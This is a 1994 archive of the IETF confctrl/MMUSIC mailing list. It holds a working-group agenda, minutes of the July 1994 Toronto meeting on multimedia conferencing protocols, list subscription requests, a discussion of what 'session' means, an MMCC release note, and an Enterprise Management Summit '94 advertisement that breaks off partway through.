  |Country   __________________________ |Non-Members $495   $195    $385      |
  |                                     |                                     |
  |Phone/Fax __________________________ |           REGISTER EARLY            |
  |                                     |                                     |
  |                                     |                     CS              |
  +-------------------------------------+-------------------------------------+


From schooler  Thu Jul 21 06:27:29 1994
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA01040>; Thu, 21 Jul 1994 13:31:07 -0700
From: schooler (Eve Schooler)
Received: from elm.isi.edu by venera.isi.edu (5.65c/5.61+local-14)
	id <AA00996>; Thu, 21 Jul 1994 13:30:30 -0700
Date: Thu, 21 Jul 1994 13:27:29 -0700
Posted-Date: Thu, 21 Jul 1994 13:27:29 -0700
Message-Id: <199407212027.AA08749@elm.isi.edu>
Received: by elm.isi.edu (5.65c/4.0.3-4)
	id <AA08749>; Thu, 21 Jul 1994 13:27:29 -0700
To: confctrl
Subject: MMusic WG
Cc: schooler, abel@thumper.bellcore.com, mankin@cmf.nrl.navy.mil,
        mwalnut@cnri.reston.va.us



Group Name: MMUSIC: Multiparty Multimedia Session Control
IETF Area: Transport
Date/Time: Wednesday, July 27, 1994
           0930-1200

Our intention is to hold one session, the focus of which will be on
interoperability and implementation experience.  This session will
be multicast.

Eve Schooler <schooler@isi.edu> and Abel Weinrib <abel@bellcore.com>


The proposed agenda...


o Agenda bashing

o WG progress

    - Architecture document

    - Agreement service update

o Implementation reports

    - CUSeeMe architecture issues (Dick Cogger/Cornell)

    - Xerox Jupiter developments (Ron Frederick/PARC)

    - Reliable multicast and groupware apps (Carsten Bormann/Univ. Bremen)

    - [Your name here]???

    - Interoperability discussion

o General discussion

o Future work

o Other???




From owner-confctrl@ISI.EDU  Fri Aug 12 05:02:02 1994
Received: by venera.isi.edu (5.65c/5.61+local-18)
	id <AA02948>; Fri, 12 Aug 1994 07:03:09 -0700
Received: from thumper.bellcore.com by venera.isi.edu (5.65c/5.61+local-18)
	id <AA02940>; Fri, 12 Aug 1994 07:02:59 -0700
Received: from [128.96.33.59] (homeabel.bellcore.com [128.96.33.59]) by thumper.bellcore.com (8.6.9/8.6.6) with SMTP id KAA23070; Fri, 12 Aug 1994 10:01:55 -0400
Message-Id: <199408121401.KAA23070@thumper.bellcore.com>
X-Sender: abel@128.96.33.6
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 12 Aug 1994 10:02:02 -0500
To: minutes@CNRI.Reston.VA.US, confctrl
From: abel@bellcore.com (Abel Weinrib)
Subject: MMUSIC Working Group minutes for July 1994 IETF
Cc: schooler, mankin@cmf.nrl.navy.mil

These notes were prepared by Abel Weinrib (abel@bellcore.com).  An on-line
copy of the minutes and the accompanying slides are available in the
directory ftp.isi.edu:confctrl/minutes as files "ietf.7.94" and
"slides.7.94.tar" (which contains "slides.7.94.[a-d].ps").


      Multiparty Multimedia Session Control WG (MMusic)
                Minutes from the 30th IETF
                    Toronto, Canada
                     July 27, 1994

               Eve Schooler, schooler@isi.edu
               Abel Weinrib, abel@bellcore.com


The Multiparty Multimedia Session Control (MMUSIC) Working Group held one
session at the IETF meeting in Toronto.  This session focused on reports
from implementors of a range of multimedia conferencing applications.
The goal was to identify common ground for interoperability.  The agenda
included Dick Cogger who talked about architectural issues in CUSeeMe, a
Macintosh-based conferencing tool.  Ron Frederick spoke about the Jupiter
project that is providing audio, video and shared windows for MOO systems.
Carsten Bormann presented a reliable multicast protocol similar to MTP
that they have designed and implemented to support their Xy shared window
system.  Ian Wakeman gave an update on the CCCP communication and control
protocol being developed to support conference control.  Joerg Ott described
the ITU T.gcc standardization efforts.  Abel Weinrib provided an update
on an implementation of the agreement algorithm being developed by Ted Ko
at Bellcore as a Masters project.  Finally, Eve Schooler spoke about
interoperability, defining the various interfaces that, if standardized,
would facilitate interoperation of different applications and media agents.

1.  Architectural Issues in CUSeeMe, Dick Cogger, Cornell University

In this talk, Dick Cogger argued for having an integrated user
interface (UI) that is connected to conference control and central
bandwidth management.  The major components of the CUSeeMe system
include the user interface, conference control, and a bandwidth
manager, along with modules for audio, video and a window for
displaying slides; it also provides a plug-in interface that allows
for the addition of other add-on applications.

The CUSeeMe system uses a reflector running on a Unix system that
simulates multicast.  It has been tempting to add additional
functionality to the reflector.  Currently, the reflector prunes a
stream back to its source to conserve bandwidth when no one wants to
receive the stream, which is particularly valuable on low-bandwidth
links.

Dick argued that the UI and conference control should interact so that
the control status information can be used to control elements in the
UI that indicate what other users are doing and what they are capable
of.  They have not yet come up with a clean separation that would
decide whether this information should be sent in RTCP messages or as
part of general session control.

Bandwidth management in CUSeeMe is based on a bandwidth cap that is
adapted based on loss reports from receivers.  This approach may be
problematic if there are heterogeneous receivers that have differing
amounts of available bandwidth.  Audio is given priority (if anyone
wants to hear you) and sending of video is subject to the cap (if
anyone wants to see you).


2.  Jupiter Video Protocol, Ron Frederick, Xerox PARC (slides.7.94.a)

The goal of the Jupiter project is to extend a MOO system (text-based
social virtual realities) to include audio, video and shared windows.
They are developing a local client that speaks RTP, HTTP, etc.   Each
client is controlled by a TCP connection to the central MOO server.
Currently, the client is running under UNIX and Window; a Macintosh
version will be done soon.

The MOO server plays a coordinating role.  It provides permanent
storage of information, key management, multicast address
management, and sharing of window state (whiteboard, etc.).  The
central server also prunes media streams back to their sources if no
one wants to receive them, and allows control of bandwidth.  Their
longer term plan is to do a distributed server implementation to avoid
the single point of failure and performance bottlenecks of the central
server and to better cope with user communities spread across
administrative domains.

The Jupiter client is really a media agent, having no inherent UI.
Rather, the server downloads a window layout into the client, and
widget events are sent back to the server for action.  The video client
supports a "videosend" protocol that allows the server to request a
list of available video sources, set the ttl, start a video stream from
a source to a destination, stop a video stream (to a particular
destination, or to all), and to set video attributes.  Video reception
is supported by a "videoPane" widget that shows one video source of any
size.


3.  Reliable Multicast and Groupware Applications,
        Carsten Bormann, U. of Bremen (slides.7.94.b)

Carsten spoke about a reliable multicast protocol that they have
developed.  The goal was to develop a multicast protocol built on top
of IP multicast that is optimized for groupware applications.  In
particular, their objectives included:  scalability (not linear
algorithm), efficiency, robustness (perhaps more important than strict
"reliability"), and message ordering (to make the application
programmer's life easier).

Their protocol, MTP2, is based on MTP (RFC 1301).  It has one master
and many producers and consumers of messages.  Global ordering is
sequenced by the master with use of a token, and the master can control
the message rate by limiting the transmission of the token.  The
protocol also supports atomicity, and addresses scalability with the
use of unicast negative acknowledgments.  The protocol has a
"heartbeat;" after some number of heartbeats the sender discards the
message.  Additional features of the MTP2 protocol includes request of
message retransmission from anyone, not just the sender; allowing
unsequenced messages as well as sequenced ones; and master loss
recovery and migration.

The MTP2 protocol has been used for the Xy window sharing system, which
is based on multicast from the Xy server to agents on each workstation.
It also underlies the Sharekit application replication toolkit that
allows the creation of cooperation-aware applications by layering
Sharekit between the GUI and the application engine of applications
structured in that way.


4.  CCCP Prototype, Ian Wakeman, UCL (slides.7.94.c)

Ian gave an update on the CCCP protocol that was talked about at length
during the Seattle IETF.  There is an implementation of CCCP, and it has
been used to create a floor control agent.  They plan to release the
implementation in mid-August.


5.  ITU GCC Work, Joerg Ott, Technical U. of Berlin

Joerg talked about the work to standardize "Generic Conference Control"
within the ITU.  It should be released as a standard by early next
year.  GCC coordinates membership and integrates applications,
including functions to establish conferences, provide a conference
roster and an application roster and registry, and manage conductorship.
It does not support floor control.

GCC relies on BMCS, an underlying multicast communication service that
offers reliability, optional global ordering, admission control,
multiplexing, and token management.  BMCS is realized with reliable
flow-controlled transport on point-to-point links on a hierarchy of
multipoint control units; the top MCU controls membership, etc.

Despite the considerable overlap in interests, the people working on GCC do
not know what is going on at IETF, and we know little of what they are
doing.  We are exploring the possibility of developing a liaison with this
effort.


6.  Agreement Service Update, Abel Weinrib, Bellcore

Abel briefly discussed the work being done at Bellcore to create an
"agreement engine" that implements the agreement algorithm which has been
discussed at previous MMusic meetings.  Ted Ko from M.I.T is doing his
Masters thesis on this topic at Bellcore.  It is envisioned that the
agreement algorithm will form the foundation for a general session
control protocol.


7.  Interoperability Report, Eve Schooler, ISI (slides.7.94.d)

Eve discussed work being started to demonstrate interoperability between
existing conferencing implementations.  There is a commonality in the
architectures of many of these implementations, with some sort of session
manager function doing coordination "horizontally" (peer to peer) between
session managers, and "vertically" controlling the media agents that
provide the media transport for the conferences.  An open question is
whether the vertical and horizontal interfaces should use the same
underlying communication mechanism.

There are many session orchestration approaches (sd, mmcc, maven, ivs, dvc,
comet on WWW, mmphone over e-mail).  One goal is to create a common session
description that they can all use.

There are many ways to communicate with media agents, including CCCP,
Tk-send and multicast with ttl=0.  It would be good to choose one, and to
come up with a common control interface to be used by all media agents.
Such a control interface should include at least "on/off" control for
multi-agent muting, channel surfing, channel selection, and floor
moderation, as well as up-calls from the media agents to support
video-to-follow-audio, adaptive QoS tradeoffs, inter-agent synchronization,
and the like.

The overall goal is to create a  "plug and play" environment in which
applications' developers can choose between a variety of session control
agents and media agents.  What is needed now is the documentation of
control interfaces to existing media agents, and of session agent
protocols.


8.  Discussion

In the ensuing discussions, several implementors agreed to document the
protocols that are presently in use, to outline improvements planned
for future releases, and in some cases actually to work on interoperation.
There were at least two reasons for promoting documentation efforts.
First, it would be useful to provide informational RFCs for many of the
publicly available applications.  Second, writeups would go a long way
towards motivating production of a shared protocol or protocols.  It was
also suggested that it might be useful to hold a workshop to bring
together people interested in these problems around the same time as
the next IETF meeting in San Jose, possibly hosted by SRI.




From owner-confctrl@ISI.EDU  Mon Aug 29 17:46:49 1994
Received: by venera.isi.edu (5.65c/5.61+local-18)
	id <AA18752>; Mon, 29 Aug 1994 02:46:55 -0700
Received: from twnmoe10.edu.tw by venera.isi.edu (5.65c/5.61+local-18)
	id <AA18748>; Mon, 29 Aug 1994 02:46:49 -0700
Received: from comserv.itri.org.tw by TWNMOE10.Edu.TW (IBM VM SMTP V2R2)
   with TCP; Mon, 29 Aug 94 17:49:54 GMT
Received: by comserv.itri.org.tw (ITRI1.0s) from ccl.itri.org.tw (oax2.ccl.itri.org.tw) 
 	id AA20418; Mon, 29 Aug 94 17:44:44+080
Received: by  oax2.ccl.itri.org.tw (th3.8r) from k400wolf.ccl.itri.org.tw 
 		id AA08627; Mon, 29 Aug 94 17:44:01 CST	
From: ELEE@cclk400.ccl.itri.org.tw
Received: by k400wolf.ccl.itri.org.tw (ITRI1.2wd) from cclk400.ccl.itri.org.tw 
 		id AA06651; Mon, 29 Aug 94 05:45:28 +0800	
Received: from CCLK400/MAILQ_K400 by cclk400.ccl.itri.org.tw (Mercury 1.12);
    Mon, 29 Aug 94 17:47:08 PSC
Received: from MAILQ_K400 by CCLK400 (Mercury 1.12); Mon, 29 Aug 94 17:46:52 PSC
To: confctrl
Organization: CCL/ITIT
Date:         Mon, 29 Aug 1994 17:46:49 GMT+800
Subject:      join
Priority: normal
X-Mailer:     WinPMail v1.0 (R2)
Message-Id: <F0276B2A91@cclk400.ccl.itri.org.tw>



From owner-confctrl@ISI.EDU  Mon Aug 29 17:47:38 1994
Received: by venera.isi.edu (5.65c/5.61+local-18)
	id <AA18758>; Mon, 29 Aug 1994 02:47:35 -0700
Received: from twnmoe10.edu.tw by venera.isi.edu (5.65c/5.61+local-18)
	id <AA18754>; Mon, 29 Aug 1994 02:47:29 -0700
Received: from comserv.itri.org.tw by TWNMOE10.Edu.TW (IBM VM SMTP V2R2)
   with TCP; Mon, 29 Aug 94 17:50:44 GMT
Received: by comserv.itri.org.tw (ITRI1.0s) from ccl.itri.org.tw (oax2.ccl.itri.org.tw) 
 	id AA20484; Mon, 29 Aug 94 17:45:43+080
Received: by  oax2.ccl.itri.org.tw (th3.8r) from k400wolf.ccl.itri.org.tw 
 		id AA08633; Mon, 29 Aug 94 17:45:01 CST	
From: ELEE@cclk400.ccl.itri.org.tw
Received: by k400wolf.ccl.itri.org.tw (ITRI1.2wd) from cclk400.ccl.itri.org.tw 
 		id AA06655; Mon, 29 Aug 94 05:46:28 +0800	
Received: from CCLK400/MAILQ_K400 by cclk400.ccl.itri.org.tw (Mercury 1.12);
    Mon, 29 Aug 94 17:48:07 PSC
Received: from MAILQ_K400 by CCLK400 (Mercury 1.12); Mon, 29 Aug 94 17:47:41 PSC
To: confctrl
Organization: CCL/ITIT
Date:         Mon, 29 Aug 1994 17:47:38 GMT+800
Subject:      join
Return-Receipt-To: <ELEE@cclk400.ccl.itri.org.tw>
Priority: normal
X-Mailer:     WinPMail v1.0 (R2)
Message-Id: <F02AEF0CF7@cclk400.ccl.itri.org.tw>



From owner-confctrl@ISI.EDU  Mon Aug 29 17:46:03 1994
Received: by venera.isi.edu (5.65c/5.61+local-18)
	id <AA19214>; Mon, 29 Aug 1994 03:04:45 -0700
Received: from twnmoe10.edu.tw by venera.isi.edu (5.65c/5.61+local-18)
	id <AA19210>; Mon, 29 Aug 1994 03:04:43 -0700
Received: from comserv.itri.org.tw by TWNMOE10.Edu.TW (IBM VM SMTP V2R2)
   with TCP; Mon, 29 Aug 94 18:07:59 GMT
Received: by comserv.itri.org.tw (ITRI1.0s) from ccl.itri.org.tw (oax2.ccl.itri.org.tw) 
 	id AA20404; Mon, 29 Aug 94 17:44:14+080
Received: by  oax2.ccl.itri.org.tw (th3.8r) from k400wolf.ccl.itri.org.tw 
 		id AA08621; Mon, 29 Aug 94 17:43:31 CST	
From: ELEE@cclk400.ccl.itri.org.tw
Received: by k400wolf.ccl.itri.org.tw (ITRI1.2wd) from cclk400.ccl.itri.org.tw 
 		id AA06645; Mon, 29 Aug 94 05:44:58 +0800	
Received: from CCLK400/MAILQ_K400 by cclk400.ccl.itri.org.tw (Mercury 1.12);
    Mon, 29 Aug 94 17:46:37 PSC
Received: from MAILQ_K400 by CCLK400 (Mercury 1.12); Mon, 29 Aug 94 17:46:13 PSC
To: confctrl
Organization: CCL/ITIT
Date:         Mon, 29 Aug 1994 17:46:03 GMT+800
Subject:      join
Priority: normal
X-Mailer:     WinPMail v1.0 (R2)
Message-Id: <F0249B668E@cclk400.ccl.itri.org.tw>



From owner-confctrl@ISI.EDU  Sat Sep  3 09:21:28 1994
Received: by venera.isi.edu (5.65c/5.61+local-18)
	id <AA15861>; Sat, 3 Sep 1994 09:21:31 -0700
Received: from krnic.net by venera.isi.edu (5.65c/5.61+local-18)
	id <AA15857>; Sat, 3 Sep 1994 09:21:28 -0700
Received: from cosmos.kaist.ac.kr by krnic.net (8.6.4/8.6.4)
	id BAA03665; Sun, 4 Sep 1994 01:21:35 +0900
Received: from localhost (jhyang@localhost) by cosmos.kaist.ac.kr (8.6.4/8.6.4) id BAA27984 for confctrl@isi.edu; Sun, 4 Sep 1994 01:20:56 +0900
From: Jaeho Yang <jhyang@cosmos.kaist.ac.kr>
Message-Id: <199409031620.BAA27984@cosmos.kaist.ac.kr>
Subject: definition of "session" ??
To: confctrl
Date: Sun, 4 Sep 94 1:20:55 KST
X-Mailer: ELM [version 2.3 PL11]


Hi! all.

What's formal definition of "session" in MMUSIC ?

it used very frequently and without doubt. 
althogh it is buzz word, seems bizzare.

In my points (session in MIM or multimedia conferencing):
  Session:
	1. a set of active connections among participants, and resources 
	   for those connections
	2. all events or data between start and end of conferecing
	   ex) session recording

it is too hard for me; ;-) help me!!

From owner-confctrl@ISI.EDU  Mon Sep 12 05:15:14 1994
Received: by venera.isi.edu (5.65c/5.61+local-18)
	id <AA18072>; Mon, 12 Sep 1994 06:15:38 -0700
Received: from puck.bellcore.com by venera.isi.edu (5.65c/5.61+local-18)
	id <AA18064>; Mon, 12 Sep 1994 06:15:30 -0700
Received: (from seml@localhost) by puck.bellcore.com (8.6.9/8.6.9) id JAA09061; Mon, 12 Sep 1994 09:15:16 -0400
Received: from Messages.8.5.N.CUILIB.3.45.SNAP.NOT.LINKED.puck.galaxy.sun4.41
          via MS.5.6.puck.galaxy.sun4_41;
          Mon, 12 Sep 1994 09:15:14 -0400 (EDT)
Message-Id: <EiR5FWK0M2QLI4gzQN@thumper.bellcore.com>
Date: Mon, 12 Sep 1994 09:15:14 -0400 (EDT)
From: Steve Minzer <seml@puck.bellcore.com>
To: confctrl, Jaeho Yang <jhyang@cosmos.kaist.ac.kr>
Subject: Re: definition of "session" ??
In-Reply-To: <199409031620.BAA27984@cosmos.kaist.ac.kr>
References: <199409031620.BAA27984@cosmos.kaist.ac.kr>

Excerpts from mail: 12-Sep-94 definition of "session" ?? Jaeho
Yang@cosmos.kaist. (434) 

>   Session: 
> 	1. a set of active connections among participants, and resources 
> 	   for those connections 
> 	2. all events or data between start and end of conferecing 
> 	   ex) session recording 


The first definition assumes that a session requires connections and
resources--which I do not think is necessarily the case. 
The second doesn't define session at all, but events and things that may
occur within a session.  If we remove the connection stuff from the
first, I think you have something.  A session is a set of associations
among participants.  No doubt it is for the purpose of  a having active
connections and having other events occuring within the context of the
session. 

From owner-confctrl@ISI.EDU  Wed Sep 14 23:53:16 1994
Received: by venera.isi.edu (5.65c/5.61+local-18)
	id <AA03275>; Wed, 14 Sep 1994 23:53:18 -0700
Received: from garam.kreonet.re.kr by venera.isi.edu (5.65c/5.61+local-18)
	id <AA03271>; Wed, 14 Sep 1994 23:53:16 -0700
Received: from maruchi.chungnam.ac.kr by garam.kreonet.re.kr (4.1/GARAM-MX-1.0)
	id AA12856; Thu, 15 Sep 94 15:54:00 KDT
Received: from venus.etri.re.kr.ac.kr (venus.comeng.chungnam.ac.kr) by maruchi.chungnam.ac.kr (4.1/SMI-4.1)
	id AA02176; Thu, 15 Sep 94 15:52:26 KDT
Received: by venus.etri.re.kr.ac.kr (4.1/SMI-4.1)
	id AA05314; Thu, 15 Sep 94 16:50:38 KDT
Date: Thu, 15 Sep 94 16:50:38 KDT
From: shshin@venus.etri.re.kr (Shin Seung Ho)
Message-Id: <9409150650.AA05314@venus.etri.re.kr.ac.kr>
To: confctrl
Subject: Subscribe

Subscribe Seung-Ho Shin
e-Mail: shshin@venus.chungnam.ac.kr

From owner-confctrl@ISI.EDU  Thu Sep 15 16:10:56 1994
Received: by venera.isi.edu (5.65c/5.61+local-18)
	id <AA05246>; Thu, 15 Sep 1994 01:10:29 -0700
Received: from twnmoe10.edu.tw by venera.isi.edu (5.65c/5.61+local-18)
	id <AA05242>; Thu, 15 Sep 1994 01:10:26 -0700
Received: from comserv.itri.org.tw by TWNMOE10.Edu.TW (IBM VM SMTP V2R2)
   with TCP; Thu, 15 Sep 94 16:11:06 GMT
Received: by comserv.itri.org.tw (ITRI1.0s) from ccl.itri.org.tw (oax2.ccl.itri.org.tw) 
 	id AA04359; Thu, 15 Sep 94 16:08:36+080
Received: by  oax2.ccl.itri.org.tw (th3.8r) from k400wolf.ccl.itri.org.tw 
 		id AA12992; Thu, 15 Sep 94 16:07:50 CST	
From: ELEE@cclk400.ccl.itri.org.tw
Received: by k400wolf.ccl.itri.org.tw (ITRI1.2wd) from cclk400.ccl.itri.org.tw 
 		id AA15545; Thu, 15 Sep 94 04:09:35 +0800	
Received: from CCLK400/MAILQ_K400 by cclk400.ccl.itri.org.tw (Mercury 1.12);
    Thu, 15 Sep 94 16:11:08 PSC
Received: from MAILQ_K400 by CCLK400 (Mercury 1.12); Thu, 15 Sep 94 16:10:57 PSC
To: confctrl
Organization: CCL/ITIT
Date:         Thu, 15 Sep 1994 16:10:56 GMT+800
Subject:      subscribe
Return-Receipt-To: <ELEE@cclk400.ccl.itri.org.tw>
Priority: normal
X-Mailer:     WinPMail v1.0 (R2)
Message-Id: <4C691C4588@cclk400.ccl.itri.org.tw>



From owner-confctrl@ISI.EDU  Mon Sep 19 05:59:10 1994
Received: by venera.isi.edu (5.65c/5.61+local-18)
	id <AA07028>; Mon, 19 Sep 1994 06:59:28 -0700
Received: from cygnus.sce.carleton.ca by venera.isi.edu (5.65c/5.61+local-18)
	id <AA07023>; Mon, 19 Sep 1994 06:59:15 -0700
Received: from sputnik.sce.carleton.ca by cygnus.sce.carleton.ca (4.1/SMI-4.0)
	id AA07636; Mon, 19 Sep 94 09:59:12 EDT
From: gboersma@sce.carleton.ca (Gerald Boersma)
Received: by sputnik.sce.carleton.ca (4.1/Sun-Client)
	id AA28795; Mon, 19 Sep 94 09:59:11 EDT
Message-Id: <9409191359.AA28795@sputnik.sce.carleton.ca>
Subject: More information about CUSeeMe
To: confctrl
Date: Mon, 19 Sep 1994 09:59:10 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL23]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 280       

Does anyone have a source to obtain more information about the CUSeeMe
project, noted in the July/94 minutes of the IETF meeting? I am
specifically interested in more infromation about the architectural
issues.

Thanks.

Gerald Boersma
Ontario TelePresence Project
Ottawa, Canada

From owner-confctrl@ISI.EDU  Tue Sep 20 10:48:12 1994
Received: by venera.isi.edu (5.65c/5.61+local-18)
	id <AA25486>; Tue, 20 Sep 1994 17:46:13 -0700
Received: from vlsi.cs.caltech.edu by venera.isi.edu (5.65c/5.61+local-18)
	id <AA25482>; Tue, 20 Sep 1994 17:46:11 -0700
Received: from fides.cs.caltech.edu by vlsi.cs.caltech.edu (4.1/1.34.1)
	id AA18258; Tue, 20 Sep 94 17:48:12 PDT
Date: Tue, 20 Sep 94 17:48:12 PDT
From: schooler@cs.caltech.edu (Eve Schooler)
Message-Id: <9409210048.AA18258@vlsi.cs.caltech.edu>
To: confctrl, rem-conf@es.net
Subject: Minor release of MMCC
Cc: casner, schooler@cs.caltech.edu, touch

Hi,

We've fixed a minor bug in mmcc, which prohibited it from spawning nv3.3
properly.  The new version (mmcc v.55a) can be retrieved via anonymous
FTP from ftp.isi.edu:confctrl/mmcc as files "mmcc-*.tar.Z", and is
available for the dec5k, decalpha, hp, sgi and sparc platforms.  The
solaris version should follow shortly.  My apologies for not fixing
this sooner!

E.

From owner-confctrl@ISI.EDU  Tue Sep 27 06:16:00 1994
Received: by venera.isi.edu (5.65c/5.61+local-18)
	id <AA02583>; Tue, 27 Sep 1994 18:44:17 -0700
Received: from gatekeeper.mcimail.com by venera.isi.edu (5.65c/5.61+local-18)
	id <AA02579>; Tue, 27 Sep 1994 18:44:07 -0700
Received: by gatekeeper.mcimail.com (5.65/fma-120691);
	id AA06122; Wed, 28 Sep 94 01:46:53 GMT
Received: from mcimail.com by mailgate.mcimail.com id am01336;
          28 Sep 94 1:01 WET
Date: Tue, 27 Sep 94 11:16 EST
From: Enterprise Management Institute <0006489618@mcimail.com>
To: confctrl <confctrl>
Subject: Summit 94
Message-Id: <91940927161619/0006489618PK1EM@MCIMAIL.COM>

                                    
                    ENTERPRISE MANAGEMENT SUMMIT '94
                      Santa Clara Convention Center
                         Santa Clara, California
                          November 14-18, 1994


       Sign Up Before October 15 For Early Bird Discount Pricing!


                         Three Ways to Register:
                                    
                      MAIL: Conference Registration
                    Enterprise Management Summit '94
                             P.O. Box 77046
                         San Francisco, CA 94107
                                    
                           FAX: 1-415-512-1325
                                    
                        EMAIL: emiinc@mcimail.com
                                   or 
                          summit@ix.netcom.com
                                    
                          For More Information
                        In the US: 1-800-340-2111
                      Outside the US: 415-512-0801
----------------------------------------------------------------------------
-----------------------------------------
                                    
                    THE MONSTER'S DAYS ARE NUMBERED!

The Monster comes in many forms:  A computing enterprise that grows more
complex
and harder to manager every day. Increasing MIS costs. An overloaded staff.
Sleepless nights and lost weekends. It's a wonder you've survived this long.
Well, the
Monster's future looks bleak. At Summit '94 we'll show you how to mash the
Monster
once and for all.

* The Enterprise Management Center. You can see the latest enterprise
management
products put to the ultimate test. This high-tech theater is loaded with
networks and
systems and all those familiar nightmares like traffic congestion, alarm
floods,
broadcast storms, applications that hang mysteriously, lost host
connections, locked
terminals and forgotten passwords. (See the detailed description below)

* Users, Users and More Users. Real solutions to real problems. Over 30 case
studies
of enterprise management products from top companies all over the world. 

* Over 30 top speakers and more than 50 vendors. Ten tutorials and 36
technical
sessions feature user-tested solutions and FutureNet -- a show network
that's much
more than a message board.

Register by October 15, 1994 to save $155 off either the regular
registration fee of
$750 or the full schedule, including tutorial sessions and conference,
regularly priced
at $1,150.

----------------------------------------------------------------------------
-----------------------------------------
CONFERENCE AT A GLANCE
Optional Tutorial Sessions (November 14-18)

Monday
T1   Managing Distributed Applications Across the Enterprise
     (Half Day)
T2   From Computer Security to Enterprise Security (Full Day)
T3   Selecting an Enterprise Management Platform (Full Day)
T4   Distributed Systems Management (Two Days)
T5   Managing Messaging Networks: A Systematic Approach (Half
     Day)

Tuesday 
T6   Network Management with the RMON MIB (Half Day)
T7   Desktop Management Interface (DMI): A Standard Building
     Block for Network and Systems Management (Half Day)
T8   Selecting Enterprise Management Applications (Full Day)
T9   Managing High Speed Networks (Half Day)
T10  Distributing Management Functions (Half Day)

----------------------------------------------------------------------------
----------------------------------------
CONFERENCE AT A GLANCE
Technical Sessions/General Sessions/Enterprise Management Center 
(November 16-18)

Wednesday 8:30-10:00
G1   General Session: Dennis Yaro, SunSoft

Wednesday 10:30-12:00
S1   Using Expert Systems to Manage Diverse Networks
S2   Managing Distributed Systems
S3   An Overview of Enterprise Management Platforms
S4   Expanding Your WAN: Strategies for Cost-Effective WAN
     Expansion
* Enterprise Management Center: Hewlett-Packard

Wednesday 1:30-3:00
S5   Panel: Managing Netware LANs in the Enterprise
S6   Panel: Host Management with SNMP
S7   Integrating the Workgroup and the Enterprise
S8   Getting the Most from Management Metrics in a Distributed
     Computing Environment
* Enterprise Management Center: NetLabs

Wednesday 3:30-5:00
S9   Defining Response Time Service levels on Inter-Networked
     LANs and WANs
S10  Integrated Network and Systems Management: A Case Study
S11  Fighting the Enterprise Management Turf Wars
S12  Enterprise Management Analysis: A Case Study
* Enterprise Management Center: Objective Systems Integrators

Thursday 8:30-10:00
G2:  General Session: Bill Warner, IBM

Thursday 10:30-12:00
S13  Quality of Service: Does Anything Else Matter in Enterprise
     Management?
S14  Integrating the Management of Security
S15  Managing the Distributed Enterprise: What You Buy Isn't
     Always What You Get
S16  Automating Production in a Multi-Vendor Client/Server
     Environment
* Enterprise Management Center: IBM

Thursday 1:30-3:00
S17  Panel: Building and Managing Virtual Networks
S18  Panel: Management Challenges of Mainframe to UNIX Migration
S19  Enterprise Management Today: A View From the Trenches
S20  Harnessing the Internet for Help Desk Support
* Enterprise Management Center: Bull

Thursday 3:30-5:00
S21  Panel: Decreasing the Cost of Managing the Enterprise
     Networks
S22  A Standardized Approach to the Management of Software
S23  Applying Service level Management to the Enterprise
S24  What the Heck is a Protocol Analyze Good for Anyway?
* Enterprise Management Center: Digital Equipment Corporation

Friday 8:30-10:00
S25  Managing Your Network from Anywhere
S26  Using SNMP to Manage Relational Databases
S27  Aligning Network and Systems Management with Business Goals
S28  Maintaining Security When You Connect Your Corporate
     Internet with the Global Internet
* Enterprise Management Center: Computer Associates International

Friday 10:30-12:00
S29  Remote Access Communications Takes Off
S30  High Availability Computing for Distributed Applications
S31  The Business Case for LANs/WANs: A Cost Benefit Analysis
S32  Building Manageable Networks

Friday 12:45-1:30
G3   General Session: What Users Want... What Vendors Can Deliver

Friday 1:30-3:00
S33  Token Ring Integration with ATM
S34  Proactive Monitoring of Client/Server
S35  Can Systems and Applications Really be Managed?
S36  Efficient Data Collection for SNMP/RMON Based Network
     Management

----------------------------------------------------------------------------
-----------------------------------------
ENTERPRISE MANAGEMENT CENTER

Vendor presentations will be held in the theater of the Santa Clara
Convention Center.
In this theater, we have built a real-world enterprise computing
environment. Networks
will include SNA, DECNet, NetWare, and TCP/IP. Systems will include MVS,
VMS,
DOS, and UNIX. Windows, NT, desktops, distributed applications and databases
will
also be present along with enterprise management platforms and applications.

During Summit '94, we will attempt to "break" this network by introducing a
series of
hazards. These include (but are not limited to) traffic congestion alarm
floods,
broadcast storms, applications that hang mysteriously, lost host
connections,
locked terminals, and forgotten passwords. 

Each vendor in the theater will have their chance to show how their
enterprise
management platform and applications deal with these hazards. Standard demos
will
NOT be allowed in the theater. Rather, a series of "scenarios" has been
developed
that incorporate the above hazards as well as additional tasks. The
scenarios are
grouped as follows: 

I    Asset Management - Auto Discovery, Inventory
II   Fault Management - Network Analysis, Multiple Alarms,
     Management of  Disk Space, Data Bases, DECNet/SNA, NetWare,
     Trouble Tracking
III  Administration - Security, Productivity Tracking,
     Configuration  Management, Software Distribution

Vendors will be evaluated on how well their solution dealt with each hazard;
how easy
or hard to implement the solution appears to be; how technically advanced
the
solution is; and the completeness of the solution.

Participating vendors in the theater are:
* Bull
* Computer Associates International
* Digital Equipment Corporation
* Hewlett-Packard
* IBM
* NetLabs
* Objective Systems Integrators

----------------------------------------------------------------------------
-----------------------------------------
SUMMIT '94 SHOWCASE

Summit '94 exhibitors will be in the Showcase which runs live on FutureNet.
This show
network is loaded with traffic so that all demos run in a realistic
production
environment.

Showcase Hours:
Tuesday, November 15     7:00pm - 10:00pm
Wednesday, November 16   12:00pm - 7:00pm
Thursday, November 17    12:00pm - 7:00pm

Summit' 94 Exhibitors:
Accugraph                
Acronym
API International
Armon Networking
Auto-trol Technology
AXON Networks
Bridgeway Corporation
Bull
Cabletron Systems
Chipcom Corporation
Computer Associates International
Digital Equipment Corporation
DeskTalk Systems
Frontier Software
Hewlett-Packard
IBM
ISICAD
LEGENT Corporation
NetLabs
Network General Corporation
Network Management Forum
Objective Systems Integrators
Remedy Corporation
SNMP Research
SSDS
SunSoft
SynOptics Communications
and many more

----------------------------------------------------------------------------
-----------------------------------------
SUMMIT '94 SPONSORS
       
Bridgeway Corporation
Bull
Chipcom Corporation
Communications Week
Computer Associates International
Computer Measurement Group
Desktop Management Task Force
Digital Equipment Corporation
Hewlett-Packard
IBM
Intel Corporation
LEGENT Corporation
NetLabs
Network Management Forum
Objective Systems Integrators
SunSoft

----------------------------------------------------------------------------
-----------------------------------------
OPTIONAL TUTORIAL SESSIONS
Monday, November 14   8:00am - 12:00pm

